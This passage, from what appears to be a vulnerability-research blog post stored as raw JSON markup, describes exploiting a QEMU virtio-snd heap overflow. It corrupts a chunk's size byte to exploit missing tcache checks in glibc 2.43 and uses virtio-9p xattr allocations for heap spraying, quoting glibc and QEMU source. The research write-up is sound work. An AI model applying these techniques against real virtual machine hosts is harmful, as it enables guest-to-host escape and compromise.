",{"type":21,"tag":198,"props":127455,"children":127456},{"style":683},[127457],{"type":27,"value":3159},{"type":21,"tag":198,"props":127459,"children":127460},{"style":211},[127461],{"type":27,"value":127462}," MINSIZE ",{"type":21,"tag":198,"props":127464,"children":127465},{"style":683},[127466],{"type":27,"value":23212},{"type":21,"tag":198,"props":127468,"children":127469},{"style":683},[127470],{"type":27,"value":13670},{"type":21,"tag":198,"props":127472,"children":127473},{"style":698},[127474],{"type":27,"value":127475},"aligned_OK",{"type":21,"tag":198,"props":127477,"children":127478},{"style":211},[127479],{"type":27,"value":127480}," (size)))\n",{"type":21,"tag":198,"props":127482,"children":127483},{"class":200,"line":4484},[127484,127488,127492,127497],{"type":21,"tag":198,"props":127485,"children":127486},{"style":698},[127487],{"type":27,"value":127403},{"type":21,"tag":198,"props":127489,"children":127490},{"style":211},[127491],{"type":27,"value":648},{"type":21,"tag":198,"props":127493,"children":127494},{"style":205},[127495],{"type":27,"value":127496},"\"free(): invalid size\"",{"type":21,"tag":198,"props":127498,"children":127499},{"style":211},[127500],{"type":27,"value":1470},{"type":21,"tag":198,"props":127502,"children":127503},{"class":200,"line":4493},[127504],{"type":21,"tag":198,"props":127505,"children":127506},{"emptyLinePlaceholder":16},[127507],{"type":27,"value":1283},{"type":21,"tag":198,"props":127509,"children":127510},{"class":200,"line":4561},[127511,127516],{"type":21,"tag":198,"props":127512,"children":127513},{"style":698},[127514],{"type":27,"value":127515}," check_inuse_chunk",{"type":21,"tag":198,"props":127517,"children":127518},{"style":211},[127519],{"type":27,"value":127520},"(av, p);\n",{"type":21,"tag":198,"props":127522,"children":127523},{"class":200,"line":4569},[127524],{"type":21,"tag":198,"props":127525,"children":127526},{"emptyLinePlaceholder":16},[127527],{"type":27,"value":1283},{"type":21,"tag":198,"props":127529,"children":127530},{"class":200,"line":4599},[127531],{"type":21,"tag":198,"props":127532,"children":127533},{"style":211},[127534],{"type":27,"value":127535}," [...]\n",{"type":21,"tag":30,"props":127537,"children":127538},{},[127539],{"type":27,"value":127540},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":21,"tag":30,"props":127542,"children":127543},{},[127544,127546,127551,127553,127558,127560,127565,127567,127572],{"type":27,"value":127545},"The next check, however, ensures that the ",{"type":21,"tag":194,"props":127547,"children":127549},{"className":127548},[],[127550],{"type":27,"value":124642},{"type":27,"value":127552}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":21,"tag":194,"props":127554,"children":127556},{"className":127555},[],[127557],{"type":27,"value":124642},{"type":27,"value":127559}," must preserve alignment while also avoiding the ",{"type":21,"tag":194,"props":127561,"children":127563},{"className":127562},[],[127564],{"type":27,"value":126811},{"type":27,"value":127566}," bit. Under those constraints, exploiting the bug through ",{"type":21,"tag":194,"props":127568,"children":127570},{"className":127569},[],[127571],{"type":27,"value":124642},{"type":27,"value":127573}," corruption looked very unreliable at first.",{"type":21,"tag":30,"props":127575,"children":127576},{},[127577],{"type":27,"value":127578},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":21,"tag":187,"props":127580,"children":127582},{"code":127581,"language":3954,"meta":7,"className":17318,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[127583],{"type":21,"tag":194,"props":127584,"children":127585},{"__ignoreMap":7},[127586,127594,127621,127628,127635,127642,127661,127668,127688,127695,127723,127747,127754,127767,127809,127816,127824,127831,127848],{"type":21,"tag":198,"props":127587,"children":127588},{"class":200,"line":201},[127589],{"type":21,"tag":198,"props":127590,"children":127591},{"style":249},[127592],{"type":27,"value":127593},"void\n",{"type":21,"tag":198,"props":127595,"children":127596},{"class":200,"line":217},[127597,127601,127605,127609,127613,127617],{"type":21,"tag":198,"props":127598,"children":127599},{"style":698},[127600],{"type":27,"value":126859},{"type":21,"tag":198,"props":127602,"children":127603},{"style":211},[127604],{"type":27,"value":648},{"type":21,"tag":198,"props":127606,"children":127607},{"style":249},[127608],{"type":27,"value":52003},{"type":21,"tag":198,"props":127610,"children":127611},{"style":683},[127612],{"type":27,"value":10626},{"type":21,"tag":198,"props":127614,"children":127615},{"style":226},[127616],{"type":27,"value":41417},{"type":21,"tag":198,"props":127618,"children":127619},{"style":211},[127620],{"type":27,"value":789},{"type":21,"tag":198,"props":127622,"children":127623},{"class":200,"line":236},[127624],{"type":21,"tag":198,"props":127625,"children":127626},{"style":211},[127627],{"type":27,"value":11689},{"type":21,"tag":198,"props":127629,"children":127630},{"class":200,"line":260},[127631],{"type":21,"tag":198,"props":127632,"children":127633},{"style":211},[127634],{"type":27,"value":126902},{"type":21,"tag":198,"props":127636,"children":127637},{"class":200,"line":281},[127638],{"type":21,"tag":198,"props":127639,"children":127640},{"emptyLinePlaceholder":16},[127641],{"type":27,"value":1283},{"type":21,"tag":198,"props":127643,"children":127644},{"class":200,"line":302},[127645,127649,127653,127657],{"type":21,"tag":198,"props":127646,"children":127647},{"style":211},[127648],{"type":27,"value":126917},{"type":21,"tag":198,"props":127650,"children":127651},{"style":683},[127652],{"type":27,"value":3174},{"type":21,"tag":198,"props":127654,"children":127655},{"style":698},[127656],{"type":27,"value":126926},{"type":21,"tag":198,"props":127658,"children":127659},{"style":211},[127660],{"type":27,"value":126931},{"type":21,"tag":198,"props":127662,"children":127663},{"class":200,"line":323},[127664],{"type":21,"tag":198,"props":127665,"children":127666},{"emptyLinePlaceholder":16},[127667],{"type":27,"value":1283},{"type":21,"tag":198,"props":127669,"children":127670},{"class":200,"line":344},[127671,127676,127680,127684],{"type":21,"tag":198,"props":127672,"children":127673},{"style":211},[127674],{"type":27,"value":127675}," INTERNAL_SIZE_T size ",{"type":21,"tag":198,"props":127677,"children":127678},{"style":683},[127679],{"type":27,"value":3174},{"type":21,"tag":198,"props":127681,"children":127682},{"style":698},[127683],{"type":27,"value":127253},{"type":21,"tag":198,"props":127685,"children":127686},{"style":211},[127687],{"type":27,"value":126972},{"type":21,"tag":198,"props":127689,"children":127690},{"class":200,"line":365},[127691],{"type":21,"tag":198,"props":127692,"children":127693},{"emptyLinePlaceholder":16},[127694],{"type":27,"value":1283},{"type":21,"tag":198,"props":127696,"children":127697},{"class":200,"line":386},[127698,127702,127706,127710,127714,127718],{"type":21,"tag":198,"props":127699,"children":127700},{"style":640},[127701],{"type":27,"value":1036},{"type":21,"tag":198,"props":127703,"children":127704},{"style":211},[127705],{"type":27,"value":648},{"type":21,"tag":198,"props":127707,"children":127708},{"style":698},[127709],{"type":27,"value":127448},{"type":21,"tag":198,"props":127711,"children":127712},{"style":211},[127713],{"type":27,"value":648},{"type":21,"tag":198,"props":127715,"children":127716},{"style":698},[127717],{"type":27,"value":127382},{"type":21,"tag":198,"props":127719,"children":127720},{"style":211},[127721],{"type":27,"value":127722}," (p)))\n",{"type":21,"tag":198,"props":127724,"children":127725},{"class":200,"line":408},[127726,127730,127735,127739,127743],{"type":21,"tag":198,"props":127727,"children":127728},{"style":640},[127729],{"type":27,"value":1478},{"type":21,"tag":198,"props":127731,"children":127732},{"style":698},[127733],{"type":27,"value":127734}," malloc_printerr_tail",{"type":21,"tag":198,"props":127736,"children":127737},{"style":211},[127738],{"type":27,"value":648},{"type":21,"tag":198,"props":127740,"children":127741},{"style":205},[127742],{"type":27,"value":127412},{"type":21,"tag":198,"props":127744,"children":127745},{"style":211},[127746],{"type":27,"value":1470},{"type":21,"tag":198,"props":127748,"children":127749},{"class":200,"line":429},[127750],{"type":21,"tag":198,"props":127751,"children":127752},{"emptyLinePlaceholder":16},[127753],{"type":27,"value":1283},{"type":21,"tag":198,"props":127755,"children":127756},{"class":200,"line":450},[127757,127762],{"type":21,"tag":198,"props":127758,"children":127759},{"style":640},[127760],{"type":27,"value":127761},"#if",{"type":21,"tag":198,"props":127763,"children":127764},{"style":698},[127765],{"type":27,"value":127766}," USE_TCACHE\n",{"type":21,"tag":198,"props":127768,"children":127769},{"class":200,"line":468},[127770,127774,127778,127783,127787,127791,127796,127800,127805],{"type":21,"tag":198,"props":127771,"children":127772},{"style":640},[127773],{"type":27,"value":1036},{"type":21,"tag":198,"props":127775,"children":127776},{"style":211},[127777],{"type":27,"value":648},{"type":21,"tag":198,"props":127779,"children":127780},{"style":698},[127781],{"type":27,"value":127782},"__glibc_likely",{"type":21,"tag":198,"props":127784,"children":127785},{"style":211},[127786],{"type":27,"value":127453},{"type":21,"tag":198,"props":127788,"children":127789},{"style":683},[127790],{"type":27,"value":3159},{"type":21,"tag":198,"props":127792,"children":127793},{"style":226},[127794],{"type":27,"value":127795}," mp_",{"type":21,"tag":198,"props":127797,"children":127798},{"style":211},[127799],{"type":27,"value":658},{"type":21,"tag":198,"props":127801,"children":127802},{"style":226},[127803],{"type":27,"value":127804},"tcache_max_bytes",{"type":21,"tag":198,"props":127806,"children":127807},{"style":211},[127808],{"type":27,"value":872},{"type":21,"tag":198,"props":127810,"children":127811},{"class":200,"line":477},[127812],{"type":21,"tag":198,"props":127813,"children":127814},{"style":211},[127815],{"type":27,"value":29989},{"type":21,"tag":198,"props":127817,"children":127818},{"class":200,"line":494},[127819],{"type":21,"tag":198,"props":127820,"children":127821},{"style":211},[127822],{"type":27,"value":127823}," [...]\n",{"type":21,"tag":198,"props":127825,"children":127826},{"class":200,"line":515},[127827],{"type":21,"tag":198,"props":127828,"children":127829},{"emptyLinePlaceholder":16},[127830],{"type":27,"value":1283},{"type":21,"tag":198,"props":127832,"children":127833},{"class":200,"line":4484},[127834,127838,127843],{"type":21,"tag":198,"props":127835,"children":127836},{"style":640},[127837],{"type":27,"value":40112},{"type":21,"tag":198,"props":127839,"children":127840},{"style":698},[127841],{"type":27,"value":127842}," tcache_put",{"type":21,"tag":198,"props":127844,"children":127845},{"style":211},[127846],{"type":27,"value":127847}," (p, tc_idx);\n",{"type":21,"tag":198,"props":127849,"children":127850},{"class":200,"line":4493},[127851],{"type":21,"tag":198,"props":127852,"children":127853},{"style":211},[127854],{"type":27,"value":880},{"type":21,"tag":30,"props":127856,"children":127857},{},[127858,127860,127865],{"type":27,"value":127859},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":21,"tag":194,"props":127861,"children":127863},{"className":127862},[],[127864],{"type":27,"value":124642},{"type":27,"value":127866}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":21,"tag":30,"props":127868,"children":127869},{},[127870,127872,127878,127879,127884],{"type":27,"value":127871},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":21,"tag":194,"props":127873,"children":127875},{"className":127874},[],[127876],{"type":27,"value":127877},"check_inuse_chunk",{"type":27,"value":648},{"type":21,"tag":194,"props":127880,"children":127882},{"className":127881},[],[127883],{"type":27,"value":124770},{"type":27,"value":24750},{"type":21,"tag":187,"props":127886,"children":127888},{"code":127887,"language":3954,"meta":7,"className":17318,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[127889],{"type":21,"tag":194,"props":127890,"children":127891},{"__ignoreMap":7},[127892,127899,127926,127933,127940,127947,127966,127973,127992,127999,128026,128049,128056,128082,128089,128100,128157],{"type":21,"tag":198,"props":127893,"children":127894},{"class":200,"line":201},[127895],{"type":21,"tag":198,"props":127896,"children":127897},{"style":249},[127898],{"type":27,"value":127593},{"type":21,"tag":198,"props":127900,"children":127901},{"class":200,"line":217},[127902,127906,127910,127914,127918,127922],{"type":21,"tag":198,"props":127903,"children":127904},{"style":698},[127905],{"type":27,"value":126859},{"type":21,"tag":198,"props":127907,"children":127908},{"style":211},[127909],{"type":27,"value":648},{"type":21,"tag":198,"props":127911,"children":127912},{"style":249},[127913],{"type":27,"value":52003},{"type":21,"tag":198,"props":127915,"children":127916},{"style":683},[127917],{"type":27,"value":10626},{"type":21,"tag":198,"props":127919,"children":127920},{"style":226},[127921],{"type":27,"value":41417},{"type":21,"tag":198,"props":127923,"children":127924},{"style":211},[127925],{"type":27,"value":789},{"type":21,"tag":198,"props":127927,"children":127928},{"class":200,"line":236},[127929],{"type":21,"tag":198,"props":127930,"children":127931},{"style":211},[127932],{"type":27,"value":11689},{"type":21,"tag":198,"props":127934,"children":127935},{"class":200,"line":260},[127936],{"type":21,"tag":198,"props":127937,"children":127938},{"style":211},[127939],{"type":27,"value":126902},{"type":21,"tag":198,"props":127941,"children":127942},{"class":200,"line":281},[127943],{"type":21,"tag":198,"props":127944,"children":127945},{"emptyLinePlaceholder":16},[127946],{"type":27,"value":1283},{"type":21,"tag":198,"props":127948,"children":127949},{"class":200,"line":302},[127950,127954,127958,127962],{"type":21,"tag":198,"props":127951,"children":127952},{"style":211},[127953],{"type":27,"value":126917},{"type":21,"tag":198,"props":127955,"children":127956},{"style":683},[127957],{"type":27,"value":3174},{"type":21,"tag":198,"props":127959,"children":127960},{"style":698},[127961],{"type":27,"value":126926},{"type":21,"tag":198,"props":127963,"children":127964},{"style":211},[127965],{"type":27,"value":126931},{"type":21,"tag":198,"props":127967,"children":127968},{"class":200,"line":323},[127969],{"type":21,"tag":198,"props":127970,"children":127971},{"emptyLinePlaceholder":16},[127972],{"type":27,"value":1283},{"type":21,"tag":198,"props":127974,"children":127975},{"class":200,"line":344},[127976,127980,127984,127988],{"type":21,"tag":198,"props":127977,"children":127978},{"style":211},[127979],{"type":27,"value":127675},{"type":21,"tag":198,"props":127981,"children":127982},{"style":683},[127983],{"type":27,"value":3174},{"type":21,"tag":198,"props":127985,"children":127986},{"style":698},[127987],{"type":27,"value":127253},{"type":21,"tag":198,"props":127989,"children":127990},{"style":211},[127991],{"type":27,"value":126972},{"type":21,"tag":198,"props":127993,"children":127994},{"class":200,"line":365},[127995],{"type":21,"tag":198,"props":127996,"children":127997},{"emptyLinePlaceholder":16},[127998],{"type":27,"value":1283},{"type":21,"tag":198,"props":128000,"children":128001},{"class":200,"line":386},[128002,128006,128010,128014,128018,128022],{"type":21,"tag":198,"props":128003,"children":128004},{"style":640},[128005],{"type":27,"value":1036},{"type":21,"tag":198,"props":128007,"children":128008},{"style":211},[128009],{"type":27,"value":648},{"type":21,"tag":198,"props":128011,"children":128012},{"style":698},[128013],{"type":27,"value":127448},{"type":21,"tag":198,"props":128015,"children":128016},{"style":211},[128017],{"type":27,"value":648},{"type":21,"tag":198,"props":128019,"children":128020},{"style":698},[128021],{"type":27,"value":127382},{"type":21,"tag":198,"props":128023,"children":128024},{"style":211},[128025],{"type":27,"value":127722},{"type":21,"tag":198,"props":128027,"children":128028},{"class":200,"line":408},[128029,128033,128037,128041,128045],{"type":21,"tag":198,"props":128030,"children":128031},{"style":640},[128032],{"type":27,"value":1478},{"type":21,"tag":198,"props":128034,"children":128035},{"style":698},[128036],{"type":27,"value":127734},{"type":21,"tag":198,"props":128038,"children":128039},{"style":211},[128040],{"type":27,"value":648},{"type":21,"tag":198,"props":128042,"children":128043},{"style":205},[128044],{"type":27,"value":127412},{"type":21,"tag":198,"props":128046,"children":128047},{"style":211},[128048],{"type":27,"value":1470},{"type":21,"tag":198,"props":128050,"children":128051},{"class":200,"line":429},[128052],{"type":21,"tag":198,"props":128053,"children":128054},{"emptyLinePlaceholder":16},[128055],{"type":27,"value":1283},{"type":21,"tag":198,"props":128057,"children":128058},{"class":200,"line":450},[128059,128063,128067,128072,128077],{"type":21,"tag":198,"props":128060,"children":128061},{"style":698},[128062],{"type":27,"value":127515},{"type":21,"tag":198,"props":128064,"children":128065},{"style":211},[128066],{"type":27,"value":648},{"type":21,"tag":198,"props":128068,"children":128069},{"style":698},[128070],{"type":27,"value":128071},"arena_for_chunk",{"type":21,"tag":198,"props":128073,"children":128074},{"style":211},[128075],{"type":27,"value":128076}," (p), p);",{"type":21,"tag":198,"props":128078,"children":128079},{"style":1233},[128080],{"type":27,"value":128081}," // [1]\n",{"type":21,"tag":198,"props":128083,"children":128084},{"class":200,"line":468},[128085],{"type":21,"tag":198,"props":128086,"children":128087},{"emptyLinePlaceholder":16},[128088],{"type":27,"value":1283},{"type":21,"tag":198,"props":128090,"children":128091},{"class":200,"line":477},[128092,128096],{"type":21,"tag":198,"props":128093,"children":128094},{"style":640},[128095],{"type":27,"value":127761},{"type":21,"tag":198,"props":128097,"children":128098},{"style":698},[128099],{"type":27,"value":127766},{"type":21,"tag":198,"props":128101,"children":128102},{"class":200,"line":494},[128103,128107,128111,128115,128119,128123,128127,128131,128135,128139,128144,128148,128153],{"type":21,"tag":198,"props":128104,"children":128105},{"style":640},[128106],{"type":27,"value":1036},{"type":21,"tag":198,"props":128108,"children":128109},{"style":211},[128110],{"type":27,"value":648},{"type":21,"tag":198,"props":128112,"children":128113},{"style":698},[128114],{"type":27,"value":127782},{"type":21,"tag":198,"props":128116,"children":128117},{"style":211},[128118],{"type":27,"value":127453},{"type":21,"tag":198,"props":128120,"children":128121},{"style":683},[128122],{"type":27,"value":3159},{"type":21,"tag":198,"props":128124,"children":128125},{"style":226},[128126],{"type":27,"value":127795},{"type":21,"tag":198,"props":128128,"children":128129},{"style":211},[128130],{"type":27,"value":658},{"type":21,"tag":198,"props":128132,"children":128133},{"style":226},[128134],{"type":27,"value":127804},{"type":21,"tag":198,"props":128136,"children":128137},{"style":683},[128138],{"type":27,"value":1819},{"type":21,"tag":198,"props":128140,"children":128141},{"style":211},[128142],{"type":27,"value":128143}," tcache ",{"type":21,"tag":198,"props":128145,"children":128146},{"style":683},[128147],{"type":27,"value":16491},{"type":21,"tag":198,"props":128149,"children":128150},{"style":249},[128151],{"type":27,"value":128152}," NULL",{"type":21,"tag":198,"props":128154,"children":128155},{"style":211},[128156],{"type":27,"value":872},{"type":21,"tag":198,"props":128158,"children":128159},{"class":200,"line":515},[128160],{"type":21,"tag":198,"props":128161,"children":128162},{"style":211},[128163],{"type":27,"value":127535},{"type":21,"tag":30,"props":128165,"children":128166},{},[128167,128169,128174],{"type":27,"value":128168},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":21,"tag":194,"props":128170,"children":128172},{"className":128171},[],[128173],{"type":27,"value":124642},{"type":27,"value":128175},", because on the latest 2.43 glibc they are non-existent.",{"type":21,"tag":19590,"props":128177,"children":128178},{},[],{"type":21,"tag":30,"props":128180,"children":128181},{},[128182,128184,128189,128191,128197,128199,128204,128206,128212],{"type":27,"value":128183},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":21,"tag":194,"props":128185,"children":128187},{"className":128186},[],[128188],{"type":27,"value":124642},{"type":27,"value":128190}," field was initially ",{"type":21,"tag":194,"props":128192,"children":128194},{"className":128193},[],[128195],{"type":27,"value":128196},"0x200",{"type":27,"value":128198},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":21,"tag":194,"props":128200,"children":128202},{"className":128201},[],[128203],{"type":27,"value":126819},{"type":27,"value":128205},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":21,"tag":194,"props":128207,"children":128209},{"className":128208},[],[128210],{"type":27,"value":128211},"[0x210, 0x2f0]",{"type":27,"value":128213},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":21,"tag":30,"props":128215,"children":128216},{},[128217],{"type":27,"value":128218},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":21,"tag":59,"props":128220,"children":128222},{"id":128221},"heap-spraying",[128223],{"type":27,"value":128224},"Heap Spraying",{"type":21,"tag":30,"props":128226,"children":128227},{},[128228,128230,128235],{"type":27,"value":128229},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":21,"tag":194,"props":128231,"children":128233},{"className":128232},[],[128234],{"type":27,"value":128196},{"type":27,"value":128236},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":21,"tag":30,"props":128238,"children":128239},{},[128240,128242,128247],{"type":27,"value":128241},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":21,"tag":194,"props":128243,"children":128245},{"className":128244},[],[128246],{"type":27,"value":124837},{"type":27,"value":128248}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":21,"tag":30,"props":128250,"children":128251},{},[128252],{"type":27,"value":128253},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":21,"tag":162,"props":128255,"children":128257},{"id":128256},"virtio-9p",[128258],{"type":27,"value":128256},{"type":21,"tag":30,"props":128260,"children":128261},{},[128262,128267],{"type":21,"tag":194,"props":128263,"children":128265},{"className":128264},[],[128266],{"type":27,"value":128256},{"type":27,"value":128268}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":21,"tag":30,"props":128270,"children":128271},{},[128272,128274,128280,128282,128288,128289,128295,128297,128302],{"type":27,"value":128273},"Through a ",{"type":21,"tag":194,"props":128275,"children":128277},{"className":128276},[],[128278],{"type":27,"value":128279},"P9_TXATTRCREATE",{"type":27,"value":128281}," request, we can allocate host-side buffers for both the ",{"type":21,"tag":194,"props":128283,"children":128285},{"className":128284},[],[128286],{"type":27,"value":128287},".name",{"type":27,"value":11801},{"type":21,"tag":194,"props":128290,"children":128292},{"className":128291},[],[128293],{"type":27,"value":128294},".value",{"type":27,"value":128296}," fields, with the size of ",{"type":21,"tag":194,"props":128298,"children":128300},{"className":128299},[],[128301],{"type":27,"value":128294},{"type":27,"value":128303}," being directly controlled by the guest.",{"type":21,"tag":187,"props":128305,"children":128307},{"code":128306,"language":3954,"meta":7,"className":17318,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[128308],{"type":21,"tag":194,"props":128309,"children":128310},{"__ignoreMap":7},[128311,128353,128360,128384,128397,128408,128433,128441,128466,128483,128499,128525,128532,128553,128619,128643,128656,128663,128670,128677,128684,128704,128725,128736,128743,128750,128757,128764,128813,128869,128914],{"type":21,"tag":198,"props":128312,"children":128313},{"class":200,"line":201},[128314,128318,128322,128327,128332,128336,128340,128344,128349],{"type":21,"tag":198,"props":128315,"children":128316},{"style":249},[128317],{"type":27,"value":51420},{"type":21,"tag":198,"props":128319,"children":128320},{"style":249},[128321],{"type":27,"value":51425},{"type":21,"tag":198,"props":128323,"children":128324},{"style":211},[128325],{"type":27,"value":128326}," coroutine_fn ",{"type":21,"tag":198,"props":128328,"children":128329},{"style":698},[128330],{"type":27,"value":128331},"v9fs_xattrcreate",{"type":21,"tag":198,"props":128333,"children":128334},{"style":211},[128335],{"type":27,"value":706},{"type":21,"tag":198,"props":128337,"children":128338},{"style":249},[128339],{"type":27,"value":52003},{"type":21,"tag":198,"props":128341,"children":128342},{"style":683},[128343],{"type":27,"value":10626},{"type":21,"tag":198,"props":128345,"children":128346},{"style":226},[128347],{"type":27,"value":128348},"opaque",{"type":21,"tag":198,"props":128350,"children":128351},{"style":211},[128352],{"type":27,"value":789},{"type":21,"tag":198,"props":128354,"children":128355},{"class":200,"line":217},[128356],{"type":21,"tag":198,"props":128357,"children":128358},{"style":211},[128359],{"type":27,"value":11689},{"type":21,"tag":198,"props":128361,"children":128362},{"class":200,"line":236},[128363,128367,128372,128376,128380],{"type":21,"tag":198,"props":128364,"children":128365},{"style":249},[128366],{"type":27,"value":19871},{"type":21,"tag":198,"props":128368,"children":128369},{"style":211},[128370],{"type":27,"value":128371}," flags, rflags ",{"type":21,"tag":198,"props":128373,"children":128374},{"style":683},[128375],{"type":27,"value":3174},{"type":21,"tag":198,"props":128377,"children":128378},{"style":2540},[128379],{"type":27,"value":3855},{"type":21,"tag":198,"props":128381,"children":128382},{"style":211},[128383],{"type":27,"value":1483},{"type":21,"tag":198,"props":128385,"children":128386},{"class":200,"line":260},[128387,128392],{"type":21,"tag":198,"props":128388,"children":128389},{"style":249},[128390],{"type":27,"value":128391}," int32_t",{"type":21,"tag":198,"props":128393,"children":128394},{"style":211},[128395],{"type":27,"value":128396}," fid;\n",{"type":21,"tag":198,"props":128398,"children":128399},{"class":200,"line":281},[128400,128404],{"type":21,"tag":198,"props":128401,"children":128402},{"style":249},[128403],{"type":27,"value":55989},{"type":21,"tag":198,"props":128405,"children":128406},{"style":211},[128407],{"type":27,"value":124984},{"type":21,"tag":198,"props":128409,"children":128410},{"class":200,"line":302},[128411,128416,128421,128425,128429],{"type":21,"tag":198,"props":128412,"children":128413},{"style":249},[128414],{"type":27,"value":128415}," ssize_t",{"type":21,"tag":198,"props":128417,"children":128418},{"style":211},[128419],{"type":27,"value":128420}," err ",{"type":21,"tag":198,"props":128422,"children":128423},{"style":683},[128424],{"type":27,"value":3174},{"type":21,"tag":198,"props":128426,"children":128427},{"style":2540},[128428],{"type":27,"value":3855},{"type":21,"tag":198,"props":128430,"children":128431},{"style":211},[128432],{"type":27,"value":1483},{"type":21,"tag":198,"props":128434,"children":128435},{"class":200,"line":323},[128436],{"type":21,"tag":198,"props":128437,"children":128438},{"style":211},[128439],{"type":27,"value":128440}," V9fsString name;\n",{"type":21,"tag":198,"props":128442,"children":128443},{"class":200,"line":344},[128444,128448,128453,128457,128462],{"type":21,"tag":198,"props":128445,"children":128446},{"style":249},[128447],{"type":27,"value":17368},{"type":21,"tag":198,"props":128449,"children":128450},{"style":211},[128451],{"type":27,"value":128452}," offset ",{"type":21,"tag":198,"props":128454,"children":128455},{"style":683},[128456],{"type":27,"value":3174},{"type":21,"tag":198,"props":128458,"children":128459},{"style":2540},[128460],{"type":27,"value":128461}," 7",{"type":21,"tag":198,"props":128463,"children":128464},{"style":211},[128465],{"type":27,"value":1483},{"type":21,"tag":198,"props":128467,"children":128468},{"class":200,"line":365},[128469,128474,128478],{"type":21,"tag":198,"props":128470,"children":128471},{"style":211},[128472],{"type":27,"value":128473}," V9fsFidState ",{"type":21,"tag":198,"props":128475,"children":128476},{"style":683},[128477],{"type":27,"value":5383},{"type":21,"tag":198,"props":128479,"children":128480},{"style":211},[128481],{"type":27,"value":128482},"file_fidp;\n",{"type":21,"tag":198,"props":128484,"children":128485},{"class":200,"line":386},[128486,128490,128494],{"type":21,"tag":198,"props":128487,"children":128488},{"style":211},[128489],{"type":27,"value":128473},{"type":21,"tag":198,"props":128491,"children":128492},{"style":683},[128493],{"type":27,"value":5383},{"type":21,"tag":198,"props":128495,"children":128496},{"style":211},[128497],{"type":27,"value":128498},"xattr_fidp;\n",{"type":21,"tag":198,"props":128500,"children":128501},{"class":200,"line":408},[128502,128507,128511,128516,128520],{"type":21,"tag":198,"props":128503,"children":128504},{"style":211},[128505],{"type":27,"value":128506}," V9fsPDU ",{"type":21,"tag":198,"props":128508,"children":128509},{"style":683},[128510],{"type":27,"value":5383},{"type":21,"tag":198,"props":128512,"children":128513},{"style":211},[128514],{"type":27,"value":128515},"pdu ",{"type":21,"tag":198,"props":128517,"children":128518},{"style":683},[128519],{"type":27,"value":3174},{"type":21,"tag":198,"props":128521,"children":128522},{"style":211},[128523],{"type":27,"value":128524}," opaque;\n",{"type":21,"tag":198,"props":128526,"children":128527},{"class":200,"line":429},[128528],{"type":21,"tag":198,"props":128529,"children":128530},{"emptyLinePlaceholder":16},[128531],{"type":27,"value":1283},{"type":21,"tag":198,"props":128533,"children":128534},{"class":200,"line":450},[128535,128540,128544,128548],{"type":21,"tag":198,"props":128536,"children":128537},{"style":698},[128538],{"type":27,"value":128539}," v9fs_string_init",{"type":21,"tag":198,"props":128541,"children":128542},{"style":211},[128543],{"type":27,"value":706},{"type":21,"tag":198,"props":128545,"children":128546},{"style":683},[128547],{"type":27,"value":3917},{"type":21,"tag":198,"props":128549,"children":128550},{"style":211},[128551],{"type":27,"value":128552},"name);\n",{"type":21,"tag":198,"props":128554,"children":128555},{"class":200,"line":468},[128556,128561,128565,128570,128575,128580,128584,128588,128593,128597,128602,128606,128610,128614],{"type":21,"tag":198,"props":128557,"children":128558},{"style":211},[128559],{"type":27,"value":128560}," err ",{"type":21,"tag":198,"props":128562,"children":128563},{"style":683},[128564],{"type":27,"value":3174},{"type":21,"tag":198,"props":128566,"children":128567},{"style":698},[128568],{"type":27,"value":128569}," pdu_unmarshal",{"type":21,"tag":198,"props":128571,"children":128572},{"style":211},[128573],{"type":27,"value":128574},"(pdu, offset, 